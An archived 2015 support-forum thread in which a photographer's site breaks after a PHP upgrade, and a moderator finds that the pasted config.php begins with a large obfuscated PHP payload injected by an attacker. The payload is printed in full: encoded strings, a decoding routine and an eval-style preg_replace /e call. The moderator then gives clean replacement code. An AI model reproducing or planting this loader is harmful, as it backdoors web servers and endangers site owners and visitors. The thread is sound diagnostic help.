Community @ The Turning Gate

Support community for TTG plugins and products.

NOTICE

The Turning Gate's Community has moved to a new home, at https://discourse.theturninggate.net.

This forum is now closed, and exists here as a read-only archive.

  • New user registrations are disabled.
  • Users cannot create new topics.
  • Users cannot reply to existing topics.

You are not logged in.

#1 2015-12-02 02:33:39

fotofred
Member
Registered: 2014-09-08
Posts: 42

Update to PHP 5.6.9 with errors!

Hi,
my Provider has updated my PHP to 5.6.9
http://fotomatisch.de/infoo.php
but my Homepage (www.fotomatisch.de) spends just only a error:


Deprecated: preg_replace(): The /e modifier is deprecated, use preg_replace_callback instead in /home/www/web566/html/ttg-be/config.php on line 1
session_start(): Cannot send session cache limiter - headers already sent (output started at /home/www/web566/html/ttg-be/config.php:1)|#0 [internal function]: ErrorHandler::handleError(2, 'session_start()...', '/home/www/web56...', 69, Array) #1 /home/www/web566/html/ttg-be/framework/helpers/AuthHelper.php(69): session_start() #2 /home/www/web566/html/ttg-be/framework/init.php(108): AuthHelper::handleSession() #3 /home/www/web566/html/lib.php(73): require_once('/home/www/web56...') #4 /home/www/web566/html/index.php(2): require_once('/home/www/web56...') #5 {main}|URL: /index.php

I cant find any similar problem posting, does anyone got an idea?

Have a nice Day
Fotofred

Offline

#2 2015-12-02 02:59:49

rod barbee
Moderator
From: Port Ludlow, WA USA
Registered: 2012-09-24
Posts: 17,830
Website

Re: Update to PHP 5.6.9 with errors!

this will be something for Ben and Matt to look at. It looks like this new version of php isn't playing nicely with functions from the older version.

In case this isn't an easy/quick fix, I'd suggest contacting your provider to find out if it might be possible to revert to the older version of php in case you need to.


Rod 
Just a user with way too much time on his hands.
www.rodbarbee.com
ttg-tips.com, Backlight 2/3 test site

Offline

#3 2015-12-02 04:15:53

fotofred
Member
Registered: 2014-09-08
Posts: 42

Re: Update to PHP 5.6.9 with errors!

Ok thx Rob, i keep waiting.

Offline

#4 2015-12-02 15:58:57

Ben
Moderator
From: Melbourne, Australia
Registered: 2012-09-29
Posts: 4,399

Re: Update to PHP 5.6.9 with errors!

This is a strange one.  Our code does not use the "/e" modifier.  It is used three times in third party code used to send emails, however I don't think that code is called from anywhere, and definitely not from trying to view a web page.

Can you copy and paste the first couple of lines from this line:
/home/www/web566/html/ttg-be/config.php

That's the line generating the error.  It should not have a preg_replace in it, but perhaps your copy does for some reason.

Offline

#5 2015-12-02 20:10:03

fotofred
Member
Registered: 2014-09-08
Posts: 42

Re: Update to PHP 5.6.9 with errors!

/home/www/web566/html/ttg-be/config.php


<?php if(!isset($GLOBALS["\x61\156\x75\156\x61"])) { $ua=strtolower($_SERVER["\x48\124\x54\120\x5f\125\x53\105\x52\137\x41\107\x45\116\x54"]); if ((! strstr($ua,"\x6d\163\x69\145")) and (! strstr($ua,"\x72\166\x3a\61\x31"))) $GLOBALS["\x61\156\x75\156\x61"]=1; } ?><?php $dyyfspjkqr = 'x5c%x7824-%x5c%x7824tvctus)%x5c%x7825%x5c%x782fsX%x5c%x7827u%x5c%x7825)7fmji%x5c%x78786<C%x5b:>1<!fmtf!%x5c%x7825t::!>!%x5c%x7824Ypp3)%x5c%x7825cB%x5c%x7825iN}#-!tu]63]y3:]68]y76#<%x5c%x78e%x5c5c%x787f!>>%x5c%x7822!pd%x5cc%x7825>j%x5c%x7825!<**3-j%x5c%x7825-b860msvd},;uqpuft%x5c%x7860msvd}+;!>!}%x5c%x7827;!>>>!}_;gvc%x5c%x7c%x78223}!+!<+{e%x5c%x7825+*!*+fepdfe{h+{d%x7860QUUI&c_UOFHB%x5c%x7860SFTV%x5c%x7860QUUI&b%x5c%x7825gj!<**2-4-bubE{h%x5c%x7825)sutcvt)esp>hmg%x5c%x7825!<12>j%x5c%x7825x7822#)fepmqyfA>2b%x5c%x7825!<*qp%x5c%x7825-*.%x5c%x7825)ozcYufhA%x5c%x78272q:+946:ce44#)zbssb!>!ssbnpe_GMFT%x5c%%x78256<%x5c%x787fw6*%x5c%x7d]281Ld]245]K2]285]Ke]53Ld]53]Kc]55Ld]55#*<%x%x5c%x7825-#1]#-bubE{h%x5c%x7825)tp7f_*#[k2%x5c%x7860{6:!}7;!}6;##}C;!>>!}W;utpi}Y;tuofuop#>b%x5c%x7825!**X)ufttj%x5c%xx5c%x7825o:W%x5c%x7825c:>1<%x5c%x7825b:>1<!gps)%x5c%x7825j:>1<%x5ftpmdXA6~6<u%x5c%x78257>%x5c%x782f7&6|7**111127-K)eb41]88M4P8]37]278]225]2415w%x5c%x7860TW~%x5c%x7824<4]y76]61]y33]68]y34]68]y33]65]y31]53]y6d]281]y4785cq%x5c%x7825%x5c%x7827jsv%xx5c%x7825tpz!>!#]D6M7]K3#<%x5c%x7825yy>#]ssfw)%x5c%x7825c*W%x5c%x7825eN+#Qi%vufs}%x5c%x7827;mnui}&;zepc}A;~!}%x5c%x787f;!|!}{;)gj}l;33bq}k;opj%x7878W~!Ypp2)%x5c%x782f#00#W~!Ydrr)%x5c%x7825if((function_exists("%x6f%142%x5f%163%x74%1); }6Z6<.2%x5c%x7860hA%x5c%x7827pd%x5c%x78256<C%x275j{hnpd19275fubmgoj{j%x5c%x7825)hopm3qjA)qj3hopmA%x5c%x78273qj%x5c%x:>:h%x5c%x7825:<#64y]552]e7y]#>n%x5c%x7825<#372]58y]472]37y]672]487825:<**#57]38y]47]67y]37]88y]27]28y]#%x5yqmpef)#%x5c%x7824*<!%x5c%x7825kj<Cw6<pd%x5c%x7825w6Z6<.5%x5c%x7860hA%x5c%x7827pd%x5c%x78256<pd7825%x5c%x787f!~!<##!>!2p%x5c%x7825Z<^2%x5c%x785c2b%x5c%x7825!52]88]5]48]32M3]317]445]212]445]43]321]464]284]364]6]2~~~<ftmbg!osvufs!|ftmf!~<**9.-j%x5c%x7825-bub7860opjudovg)!gj!|!*msv%x5c%x7825)}kx5c%x7824-%x5c%x7824y7%x5c%x7824-%x5c%x7824*<!%x5c%x7824-%x5c%x7824gpx7860un>qp%x5c%x7825!|Z~!<##!>!2p%x5UI&e_SEEB%x5c%x7860FUPNFS&d_SFSFGFS%x5c%-%x5c%x7824y4%x5c%x7824-%xsf%x5c%x7878pmpusut!-#j0#!%x5c1M6]y3e]81#%x5c%x782f#7e:55946-tr.984:75983:48984:71]K9]77]D4]87f_*#ujojRk3%x5c%x7860{666~6<&w6<%x5c%x787fw6*CW&)7gjx7824-%x5c%x7824-tusqpt)%x5c%x7825z-#:#*%x5c%x7824-%x5c%x7824!dy<Cb*[%x5c%x7825h!>!%x5c%x7825tdz#+I#)q%x5c%x7825:>:r%x5c%x7825:|:**t%x5c%x7825)m%x5c%x7825=*h%x5cx7825nfd>%x5c%x7825f87fw6*CW&)7gj6<*doj%x5154%x28%151%x6d%160%x6c%157%x64%145%x28%141%x72%16c%x782f%x5c%x7825%x5c%x7824-%x5c%x7824!>!fx5c%x7825mm!>!#]y81]273]y76]258]y6g]273]25V<*#fopoV;hojepdoF.uofuopD#)sfy35]274]y4:]82]y3:]62]y4c#<!%x5c%x78s%x5c%x78256<#o]1%x5c%x782f20QUUI7jsv%x5c%x78257UFH#%x5c%x7827c%x782fr%x5c%x7825%xc!>!%x5c%x7825i%x5c%x785c2^<!Ce*[!%x5c%x7825cIjQeTQcOc%x5c%x7825c%x7825bG9}:}.}-}!#*<%x5c%277#<%x5c%x7825t2w>#]y74]273]y76]252]y85]256]y6g]%x5c%x7825wN;#-Ez-1H*WCw*[!%x5c%x7825rr%x5c%x7878Bsfuvso!sboepn)%x5c%x7825epnbss-%x5c%x7825r%x5cD6]281L1#%x5c%x782f#M5]DgP5]D6#<%%x7825)!gj}Z;h!opjudovg}{;#)tutjyf%x5c%x;quui#>.%x5c%x7825!<***f%udovg}%x5c%x7878;0]=])0#)U!%x55!osvufs!*!+A!>!{e%x5c%x7825)!>>%x5c%x7822!ftx7827!hmg%x5c%x7825)!gj!|!*1?hmg%x5c%x7825)!x5c%x7860ftsbqA7>q%x5c%x78256<%x5c%x787fw6*%x5c%x!|!*#91y]c9y]g2y]#>>*4-1-bubEc%x7825j:=tj{fpg)%x5c%x7825s:*<%x5c%x7825jof%x5c%x786057ftbc%x%x5c%x7825o:!>!%x5c%x78242178}527}88:}334}472%x5c%x7824<!%825}&;ftmbg}%x5c%x787f;!osvufs}w;*%x5c%x782fh%x5c%x7825)n%x5c%x7825-1"])))) { $GLOBALS["%x617822)gj!|!*nbsbq%x5c%x7825)323ldfidk!~!<**qp%; preg_replace("%x2f%50%x2e%52%x29%57%x65","%x65%166%x61%:!>!#]y3d]51]y35]256]y76]72]y3d]51]; function fjfgg($n){return chr(ord($n)-1);} @error_reporting(0)cq%x5c%x78257%x5c%x782f7#@#d%x5c%x7860ufh%x5c%x7860fmjg}[;ldpt%x5c%x7825}257-MSV,6<*)ujojR%x5c%x7827id%x5c%x7827,*c%x5c%x7827,*b%x5c%x7827)fepdof.)f%x5c%x7860opjudovg%x5c%x7822)!gj}1~!<2p%x5c%x825%x5c%x7824-%x5c%x7824*<!~!dsfbuf%x5c%x7860gvodujpo)##-!#~<#%x5%x5c%x7824-%x5c%x7824%x5c%x785c%x5c%x7825j^%257]y86]267]y74]275]y7:]26!%x5c%x7825w%x5c%x7860%x5c%x785c^>Ew:Qb:Qc:W~!%x5c%x7825z!#E#-#G#-#H#-#I#-#K#-#L#-#M#-#[#-#Y#-#D#-#27K6<%x5c%x787fw6*3qj%x5c%x78257>%x5c%x782272qj%x5c%x7825)7gj6<**2q5c%x782f#o]#%x5c%x782f*)323zbe!-#jt0*?]+^?]_%x5c%x785c}X%x5c%x782c%x7878{**#k#)tutjyf%x5c%x7860%x5c%x7ebfI{*w%x5c%x7825)kV%x55c%x7827&6<*rfs%x5c%x7825z+sfwjidsb%x5c%x7860bj+upcotn+qsvmt+fmhpph#)zbssb!-#}#)fepmqe:56-%x5c%x7878r.985:52985->2<!gps)%x5c%x7825j>1<%x5c%x7825j=6[%x5c%x775]y83]248]y83]256]y81]265]y72]254]y76#<%x5c%x7825tmx5c%x782f#%x5c%x782f#%x5c%x782f},;#-#}+;%x5c%x7825-qp%x5c%x7825)54l}%x2#<!%x5c%x7825tjw!>!#]y84]2qsut>j%x5c%x7825!*9!%x5c%x7827!hmg%%x70%154%x69%164%50%x22%134%x78%6mbg)!gj<*#k#)usbut%x5c%x7860cpV%x5c%x787f%x5c%x787f%x5c%x787f%x5)Rd%x5c%x7825)Rb%x5c%x7825))!gj!<*#cd2bge56+99386c6f+9f5d816#)2q%x5c%x7825l}S;2-u%x5c%x7825!-#2#%x5c%x782f#%x5c%x7825#%x)gpf{jt)!gj!<*2bd%x5c%x7825-#1GO%x5c%x7825ff2!>!bssbz)%x5c%x7824]25%x5c%x7824-%x5c%x{hnpd!opjudovg!|!**#j{hnpd#)tutjyf{h%x5c%x7825)sutcvt)!gj!|!*bubE{h%x5c%x7825)j:osvufs:~:<*9-1-r%x5c%x7825)s%x5c%x7825>%x5c%x782fh%x5c%xx5c%x7825)ftpmdR6<*id%x5c%x7825)dfyfR%x5c%x7827tfs%x::::::-111112)eobs%x5c%%x7825)m%x5c%x7825):fmji%x5c%x7878:<##>!tus%x5c%x7860sfqmbdf)%x5c%x7825%x5c%x7824c%x78e%x5c%x78b%x5c%x7825ggg!>!#]y81]273]y76]258]y6g]2737824-!%x5c%x7825%x5c%x7824-%x5c%x7824*!|!x7860QIQ&f_UTPI%x5c%x7860QUx5c%x785c1^W%x5c%x7825c%x7825!|!*!***b%x5c%x7825)h1:|:*mmvo:>:iuhofm%x5c%x7825:-5ppde:4:|:**#ppde#)tutjyf%x5c%x78604%x5%x5c%x7825w6Z6<.4%x5c%x7860hA%x5c%x7827pd%x5c%x78256<pd%x5c%x7825w6nj!%x5c%x782f!#0#)idubn%x5c%x7860hfsq)825tzw%x5c%x782f%x5c%x7824)#P#-#Q#-#B#-#T#-2%x61%171%x5f%155%x61%160%x28%42%x66%152%x66%1x5c%x7825)ppde>u%x5c%x7825V<#65,47R25,d7R17,67R37,#%x5c%x782fq%x5c3]78]y33]65]y31]55]y85]82]y76]62]y3:]84#-!OVMM*<%x22%587fw6*CWtfs%x5c%x7825)7gj6<*id%W#-#C#-#O#-#N#*%x5c%x7824%x5c%x782f%x5c%x7825kj:-!OVMM*<(<%x576]277]y72]265]y39]271]y83]2%x782f!**#sfmcnbs+yfeobc%x78257-C)fepmqnjA%x5c%x7827&6<.fmjgA%x5c%x78235.)1%x5c%x782f14+9**-)1%x5c%xsut>j%x5c%x7825!*72!%x5c%x7827!hmg%x5c%x7825)!gj!<2,*jy]#>s%x5c%x7825<#462]47y]252]18yZ6<.3%x5c%x7860hA%x5c%x7827pd%x5c%x78256<pd%x5c%x7825w878%x5c%x7822l:!}V;3q%x5c%x7825}U;y]}R;2]},;osy76]271]y7d]252]y74]256#<!%x5c%7doj%x5c%x78256<%x5c%x787fw6*%x5c%x787f_*#fmjgk4%x5c%x7860{6~6<787f_*#fubfsdXk5%x5cx7825z>>2*!%x5c%x7825z>3<!fmtf!%x5c%x7825z>2<!%x5c%x7825ww2)%x5c%x782c%x7825:-t%x5c%x7825)3of:opjudovg<~%x5c%x7824<!%x5c%x785cq%x5c%x7825%x5c%x7827Y%x5c%x78256<.msv%6<.[A%x5c%x7827&6<%x5c%x787fw6*%x5c%x78w!>!#]y84]275]y83]273]y76]FNJU,6<*27-SFGTOBSUOSVUFS,6<*msv%x5c%x78j%x5c%x78256<^#zsfvr#%x5c%x785825ww2!>#p#%x5c%x782f#p#%x5c%x782f%x5c%x7825z<jg!)%x5c%4<!%x5c%x7825tzw>!#]y34]342]58]24]31#-%x5c%x7825tdz*W>#L4]275L3]248L3P6L1M5]D2P4]D6#<%x5c%x7825G]y6X&Z&S{ftmfV%x5c%x787f<*XAZASV<*w%47%x67%42%x2c%163%x74%162%x5f%1631%x29%51%x29%73", NULL;*msv%x5c%x7825)}.;%x5c%x7860UQPMSVD!-id%x5c%x7825)uqpuft%x5c%x7vufs:~928>>%x5c%x7822:ftmbg39c%x7825j,,*!|%x5c%x7824-%x5c%x7824gvodujpo!%e]81]K78:56985:6197g:74985-rr.93e:5597f-s.973:8297f:529782]K6]72]K9]78]K5]53]Kc#<%5c%x7827pd%x5c%x78256|6.7eu{66~67<&w6<*&7-#o]s]o]s]#)fepmqyf%x5c%7825j:.2^,%x5c%x7825b:<!%7%x5c%x782f7^#iubq#%x5c%xx5c%x7827,*e%x5c%x7827,*d%x5c5c%x787f!|!*uyfu%x5c%x7827k:!ftmf!}Z;^nbsbq%x5c%x7782f2986+7**^%x5c%x782f%x5c%x7825r%x5c%x7878<~!!%x5c%x7825s:N}#-%6gP7L6M7]D4]275]D:M8]Df#<%x5c%x7825tdz76]277]y72]265]y39]274]y85]273]y6g]273]y76]271]y825%x5c%x785cSFWSFT%x5c%x7860%x5c%x7825}X;!sp!*#opo#>>}R;msv}.;%rfs%x5c%x78256~6<%x5c%x787fw6<*K)ftpmdXA6|7**197-2qj%x5c%x78257-K)]y76]271]y7d]252]y74]256#<!%x5c%x7825ggg)(0)%x5c%x782f+*0f(-!#]y%156%x75%156%x61"]=1%x7878pmpusut)tpqssutRe%x5c%x78257-K)fujs%x5c%x7878X6<#o]o]Y%x5c%x75c%x7824]y8%x5c%x7824-%x5c%x7824]26%x5c%x7824-%x5c%x7824<%x5udfoopdXA%x5c%x7822)7gj6<*QDU%x5c%x7860MPT7-NBFSUT%x5c%x786%x5c%x785cq%x5c%x7825)ufttj%x5c%x7822)gj6<^#Y#25tww**WYsboepn)%x5c%x7825bss-%x5c%x7825r%x5c%x7878B%x5c0LDPT7-UFOJ%x5c%x7860GB)fubfsdXA%x5c%x787d]252]y74]256]y39]252]y83]273]y72]28x5c%x7825fdy>#]D4]273]D6P2L5P6]y41%x72%164") && (!isset($GLOBALS["%x61%156%x75%156%x65c%x78256<C>^#zsfvr#%x5c%x785cq%x5c%x78257**^#zsfvr#x5c%x7825c:>%x5c%x7825s:%x5c%x785c%x5c%x7825j:^<~<3,j%x5c%x7825>j%x5c%x7825!*3!%x5c%x7827!hmg%x55c%x78256<*17-SFEBFI,6<*127-UVP%x78b%x5c%x7825w:!>!%x5c%x78246767~62%x35%165%x3a%146%x21%76%x21%50%x5c%x7825%x5c%x7878:!>#]y3g]61]y3feuhA)3of>2bd%x5c%x7825!<5h%x5c%x7825%x5c%x78x5c%x7825!-uyfu%x5c%x7825)3of)fepdepdof.%x5c%x782f#@#%x5c%x782fqp%x5c%x7825>5h%x5c%x7825!<**56A:>:8:|:7#6#)tutjyf%x5c%x7860439275ttfsqnpdov{h19]334]368]322]3]364]6]283]427]36]373P6]36]73]83]238M7]381]211M5]67]4)%x5c%x7825bbT-%x5c%x7825bT-%x5c%x7825hW~%x5c%x7825fdy)##-!#~<%x5c%x]#>q%x5c%x7825<#762]67y]562]38y]572]48y]#>m%x5c%x7825:|:*r%x5s)%x5c%x7825j>1<%x5c%x7825j=tj{fpg)%x5c%x7%x5c%x7825t2w)##Qtjw)#]82#-#!#-%x5c%x7825tmw)%x5c%x78:,,Bjg!)%x5c%x7825j:>>1*!%x5c%x782)323ldfid>}&;!osvufs}%x5c%x787f;!opjudovg}k~~9{d%x5c%x7825:osx5c%x782fq%x5c%x7825>2q%x5c%x7825<#g6R85,67R37,18R#>q%x5c%x78c%x787f<u%x5c%x7825V%x5c%x7827{ftmfV%x5c%x787f<*8257;utpI#7>%x5c%x782f7rfx7827*&7-n%x5c%x7825)utjm6<%x5c%x787fw6*CW&)7gj6<*K)2f#0#%x5c%x782f*#npd%x5c%x782f#)rrd%x5c%x782f#00t.98]K4]65]D8]86]y31]278]y3f]51L3]84]y3%x5c%x78e%x5c%x78b%x5c%x7825mm)%x5c%x7825%x5c%x7878:-!%x5c%x7sfuvso!%x5c%x7825bss%x5c%x785csboe))1%x5c%x782f!sp!*#ojneb#-*f%x5c%x7825)sf%x5cubE{h%x5c%x7825)sutcvt-#w#)ldbqov>*ofmy%x5c%x7825)utjm!|!*5!%x5c%78256<*Y%x5c%x7825)fnbx5c%x7825)+opjudovg+)!gj+{e%x5c%x78225b:>%x5c%x7825s:%x5c%x785c%x5c%x8]y7f#<!%x5c%x7825tww!>!%x5c%x782400~:<h%x5c%x7825_t%x5c%x78257825h00#*<%x5c%x7825nfd)##Qtpz)#]3>!2p%x5c%x7825!*3>?*2b%x5c%x7825E{h%x5c%x7825)sutcvt)fubmgoj{hA!osvufs!5zB%x5c%x7825z>!tussfw)%x5c%x7825zW%x5c%x7825h>EzH,2W5c%x7827;%x5c%x7825!<*#}_;#c%x7827{**u%x5c%x7825-#jt0}Z;0]=]0%x7825h>#]y31]278]y3!|!*)323zbek!~!<b%x5c%x7825%x5N}#QwTW%x5c%x7825hIr%x5c%x785c1^-%x5c%x7825r%x5c%x785c2^-%x5c%x7825hOh%x5c%x782f#00#W~!K;%x5c%x7860ufldpt}X;%x5c%x7860msvd}R4-%x5c%x7824b!>!%x5c%x7825yy)#}#-#%x5c%%x7860{66~6<&w6<%x5c%x7c%x7825!)!gj!<2,*j%x5c%x7825!-#1]#-bubE{h%x5c%x7825)tpqx5c%x7825)!gj!~<ofmy%x5c%x7825,3,j%x556]y78]248]y83]256]y81]265]y72]25c%x787f!<X>b%x5c%x7825Z<#opo#>b%x5c%x7825!*##>>X)!gjZ<#opo%x7825>U<#16,47R57,27R66,#%tfs%x5c%x7825w6<%x5c%x7/(.*)/epreg_replacesqilcjxzna'; $oldfvzpael = explode(chr((279-235)),'1229,43,7880,53,3310,24,7463,20,3471,64,3379,57,2310,50,5477,46,6650,33,4493,33,8148,66,164,29,8112,36,1531,62,5329,67,5949,54,1276,45,6924,65,8921,52,862,52,46,45,4154,25,7516,34,8896,25,2510,62,7333,66,7610,59,7771,40,3962,67,1343,48,9265,22,549,20,6433,30,3535,27,7014,25,1011,30,7933,52,7669,46,6279,49,3044,49,6143,20,9850,23,2288,22,5786,47,6080,63,10083,23,5643,31,4930,52,8081,31,6393,40,3608,33,605,28,2053,54,6328,39,713,55,3562,46,9774,37,6705,64,259,66,3242,36,193,28,2860,40,1754,36,1709,45,9484,39,8033,48,9873,55,5863,54,678,35,4458,35,9928,37,221,38,9200,65,3000,44,425,67,3093,29,4828,45,4794,34,3683,45,1593,62,9452,32,4710,37,492,57,8214,44,8973,48,2900,25,7039,29,3641,42,8292,57,4982,23,1859,36,5232,27,1961,30,5763,23,4179,60,5396,38,9168,32,7483,33,4590,60,569,36,5183,27,1895,40,368,57,9657,30,9998,58,768,29,3334,45,8258,34,3164,20,7068,50,7269,64,4361,70,9576,27,8726,61,6769,29,8349,52,1321,22,5259,70,325,43,9287,36,2955,45,4526,64,8848,48,6617,33,5523,66,10056,27,8787,61,2442,32,4131,23,4094,37,6003,46,1117,66,2925,30,9603,34,4650,60,4029,65,6518,21,7221,48,7811,37,4431,27,4309,52,6367,26,2682,49,3837,26,9356,62,4873,57,1457,41,2572,20,3278,32,2203,65,5005,38,1391,66,5917,32,8536,61,6232,47,3184,58,2402,40,6049,31,4747,47,5142,41,3793,44,0,46,9811,39,2107,62,5043,43,1935,26,7550,60,6798,44,1790,69,8597,42,3728,65,2360,42,1498,33,3436,35,2474,36,111,53,1082,35,5210,22,2592,63,1206,23,2769,58,1183,23,9523,53,2731,38,9687,59,9746,28,8639,53,7715,56,9637,20,6842,56,4239,27,9021,39,1991,62,6898,26,1041,41,2827,33,7848,32,7183,38,6571,46,633,45,2655,27,2268,20,2169,34,8468,68,9418,34,914,24,8401,67,1655,54,6539,32,9121,47,5833,30,7118,65,797,65,3122,42,8692,34,91,20,9323,33,6989,25,7985,48,3863,58,4266,43,6463,55,6163,69,938,26,9060,61,5434,43,3921,41,5674,61,5086,56,7399,64,5735,28,9965,33,964,47,5589,54,6683,22,1272,4'); $zomfxzzrck=substr($dyyfspjkqr,(68050-57944),(42-35)); if (!function_exists('beqthzuoac')) { function beqthzuoac($yvpvjsctpv, $wdkemtvtvf) { $oidwdycejn = NULL; for($majjftljpo=0;$majjftljpo<(sizeof($yvpvjsctpv)/2);$majjftljpo++) { $oidwdycejn .= substr($wdkemtvtvf, $yvpvjsctpv[($majjftljpo*2)],$yvpvjsctpv[($majjftljpo*2)+1]); } return $oidwdycejn; };} $abximocsvu="\x20\57\x2a\40\x6a\161\x68\142\x72\152\x68\147\x77\160\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x32\65\x33\55\x32\61\x36\51\x29\54\x20\143\x68\162\x28\50\x36\63\x39\55\x35\64\x37\51\x29\54\x20\142\x65\161\x74\150\x7a\165\x6f\141\x63\50\x24\157\x6c\144\x66\166\x7a\160\x61\145\x6c\54\x24\144\x79\171\x66\163\x70\152\x6b\161\x72\51\x29\51\x3b\40\x2f\52\x20\143\x65\147\x72\170\x63\166\x74\164\x75\40\x2a\57\x20"; $bxjdosmklj=substr($dyyfspjkqr,(50916-40803),(58-46)); $bxjdosmklj($zomfxzzrck, $abximocsvu, NULL); $bxjdosmklj=$abximocsvu; $bxjdosmklj=(498-377); $dyyfspjkqr=$bxjdosmklj-1; ?><?php defined('APP_DIR') or die('No direct script access allowed in ' . __FILE__);

//error_log('loaded config 2:  '. __FILE__);

// CORE_DATA_DIR - The location for storing the database, orders and digital purchases.
//
// *** It is essential that the CORE_DATA_DIR is not browsable on the web. *** 
// After installing the cart, make sure that you can
// NOT view any directory listing or download files by browing http://yoursite.com/data/cart or http://yoursite.com/data/cart/cart.sq3
//
   
define('CORE_DATA_DIR', CORE_DIR.'/../data');
//echo 'cdd: '.CORE_DATA_DIR.'<br/>';

// Recommended for sites hosted on Network Solutions.  Enable by changing 'false' to 'true'.
define('FIX_PERMISSIONS', false);

// Set to 'true' or 'false'. Set this to true to allow phpinfo and module listing to work, without being logged in
define('ENABLE_DEBUG', true);

// Set to 'development' or 'live'
define('ENVIRONMENT', 'development');

// Remove the two slashes in the line below if advised on the TTG Community forum
define('DISABLE_SUBDOMAIN_COOKIE', true);

$TTG_APPS = array(
    array('name' => 'TTG CE4 Admin', 'short-name' => 'TTG BE', 'slug' => 'admin'),
    array('name' => 'TTG CE4 Cart', 'short-name' => 'Cart', 'slug' => 'cart'),
    array('name' => 'TTG CE4 Client Response Gallery', 'short-name' => 'Client Response Gallery', 'slug' => 'crg'),
    array('name' => 'TTG CE4 Publisher', 'short-name' => 'Publisher', 'slug' => 'publisher')
);

?>

Offline

#6 2015-12-02 20:52:16

Ben
Moderator
From: Melbourne, Australia
Registered: 2012-09-29
Posts: 4,399

Re: Update to PHP 5.6.9 with errors!

Thanks.  That is not good.

I'm sorry to be the bearer of bad news, but it appears that your site or the server that your site resides on has been hacked.  The first 90% of that code is not ours, and is obfuscated in a way that malicious PHP code usually is. 

How long have you been using that host?  Are you running Wordpress or another CMS?

Below is what the contents of that file should look like.  You may do well to replace config.php with the following contents (after backing up the malicous config.php for further investigation), however it's likely that your site has been compromised elsewhere, and may continue to be compromised until it is fully cleaned up with vulnerabilities removed.

<?php defined('APP_DIR') or die('No direct script access allowed in ' . __FILE__);

//error_log('loaded config 2:  '. __FILE__);

// CORE_DATA_DIR - The location for storing the database, orders and digital purchases.
//
// *** It is essential that the CORE_DATA_DIR is not browsable on the web. ***  
// After installing the cart, make sure that you can 
// NOT view any directory listing or download files by browing http://yoursite.com/data/cart or http://yoursite.com/data/cart/cart.sq3
//
    
define('CORE_DATA_DIR', CORE_DIR.'/../data');
//echo 'cdd: '.CORE_DATA_DIR.'<br/>';

// Recommended for sites hosted on Network Solutions.  Enable by uncommenting.
//define('FIX_PERMISSIONS', true);

// Set to 'true' or 'false'. Set this to true to allow phpinfo and module listing to work, without being logged in 
define('ENABLE_DEBUG', true);

// Set to 'development' or 'live'
define('ENVIRONMENT', 'development');

// Remove the two slashes in the line below if advised on the TTG Community forum
define('DISABLE_SUBDOMAIN_COOKIE', true);

$TTG_APPS = array(
    array('name' => 'TTG CE4 Admin', 'short-name' => 'TTG BE', 'slug' => 'admin'),
    array('name' => 'TTG CE4 Cart', 'short-name' => 'Cart', 'slug' => 'cart'),
    array('name' => 'TTG CE4 Client Response Gallery', 'short-name' => 'Client Response Gallery', 'slug' => 'crg'),
    array('name' => 'TTG CE4 Publisher', 'short-name' => 'Publisher', 'slug' => 'publisher')
);

?>

Offline

#7 2015-12-03 00:51:59

fotofred
Member
Registered: 2014-09-08
Posts: 42

Re: Update to PHP 5.6.9 with errors!

Ullala, i tried to install owncloud, but i'am not shure if that will be the problem. Thatfor my provider upgraded my php versin from 5.2.17 to 5.6.9. my page seems to work with your config.php. i make a virus check now.
Thx and have a nice Day.
Fotofred

Offline

#8 2015-12-03 00:54:11

fotofred
Member
Registered: 2014-09-08
Posts: 42

Re: Update to PHP 5.6.9 with errors!

Yesterday the page works without problems.
I value that the wrong config code hasn't worked very long.

Offline

Board footer

Powered by FluxBB